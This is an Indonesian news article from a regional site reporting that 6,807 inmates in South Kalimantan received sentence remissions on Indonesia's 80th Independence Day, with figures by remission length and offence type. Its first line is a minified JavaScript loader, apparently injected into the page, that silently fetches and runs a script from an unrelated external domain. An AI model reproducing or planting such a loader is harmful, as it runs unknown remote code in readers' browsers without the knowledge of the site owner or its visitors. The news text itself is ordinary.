(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Warga binaan pemasyarakatan (WBP) di Provinsi Kalimantan Selatan (Kalsel) menerima remisi dalam peringatan Hari Kemerdekaan Ke-80 Republik Indonesia, Minggu (17/8/2025) siang.
Ada 6.807 WBP yang tersebar pada 13 kabupaten kota se Kalsel menerima remisi, bahkan bebetapa di antara mereka bisa langsung bebas menghirup udara di luar bui.
Kepala Kantor Wilayah Kementerian Imigrasi dan Pemasyarakatan Kalsel, Mulyadi mengatakan, remisi merupakan hak bagi narapidana dan anak yang berkelakuan baik, serta mengikuti program pembinaan di lembaga pemasyarakatan.
Kepala Kantor Wilayah Kementerian Imigrasi dan Pemasyarakatan Kalsel, Mulyadi. Foto : wanda
WBP tersebut terbagi 6.780 narapidana dan 27 anak binaan yang memenuhi syarat pengurangan masa pidana alias hukuman.
“Hal ini sesuai dengan Peraturan Menteri Hukum dan HAM Nomor 7 Tahun 2020,” kata Mulyadi kepada sejumlah awak media.
Disebutkan Mulyadi, dari data Kanwil Imigrasi dan Pemasyarakatan Kalsel tercatat saat ini ada 9.304 orang penghuni Lapas dan Rutan di daerah. Dari jumlah itu, 8.167 adalah narapidana dan 1.137 tahanan.
Sedangkan rincian penerima remisi menunjukkan 6.638 narapidana mendapat Remisi Umum I (RU I) dengan pengurangan masa tahanan mulai 1 – 6 bulan.
“Kemudian 142 orang lainnya menerima Remisi Umum II (RU II) yang berpotensi langsung bebas, dengan rincian 74 orang WBP langsung bebas, dan 68 orang WBP masih menjalani hukuman denda atau subsider,” jelasnya.
Adapun besaran remisi terbanyak adalah 3 bulan yang diterima 1.827 orang narapidana, 2 bulan sebanyak 1.351 orang, dan 4 bulan sebanyak 1.451 orang.
Di samping itu masih terdapat 2.475 orang narapidana dan anak binaan yang tidak memenuhi syarat remisi pada tahun ini dengan sejumlah alasan.
“Antara lain masih menjalani hukuman disiplin, belum cukup masa pidana, atau sedang menjalani pidana pengganti denda,” sebut dia.
Dari sisi tindak pidana, kata Mulyadi, mayoritas penerima remisi berasal dari kasus narkotika sebanyak 4.700 orang, pidana umum 2.032 orang, serta 48 orang dari kasus korupsi.
Mulyadi berpesan kepada WBP yang telah mendapatkan remisi agar tidak mengulangi perbuatannya lagi, yang mengarah kepada tindak pidana.
“Remisi ini tidak hanya sebagai bentuk apresiasi atas perilaku baik warga binaan, tetapi juga motivasi agar mereka terus aktif mengikuti pembinaan hingga siap kembali ke masyarakat,” tutup Mulyadi. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR meninjau titik banjir rob upaya… Read More
KANALKALIMANTAN.COM, AMUNTAI - Bertajuk "Jalan Sehat ASN Bangga Pakai QRIS" Bank Kalsel menggelar jalan santai… Read More
KANALKALIMANTAN.COM, BANJARBARU — Social Justice Institute Kalimantan (SJIK) kembali mengingatkan kasus pembunuhan Zahra Dilla yang… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat dukungan pemerintah pusat dalam percepatan pembangunan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Wakil Presiden (Wapres) Gibran Rakabuming Raka meninjau langsung lokasi banjir di Kalimantan… Read More
This website uses cookies.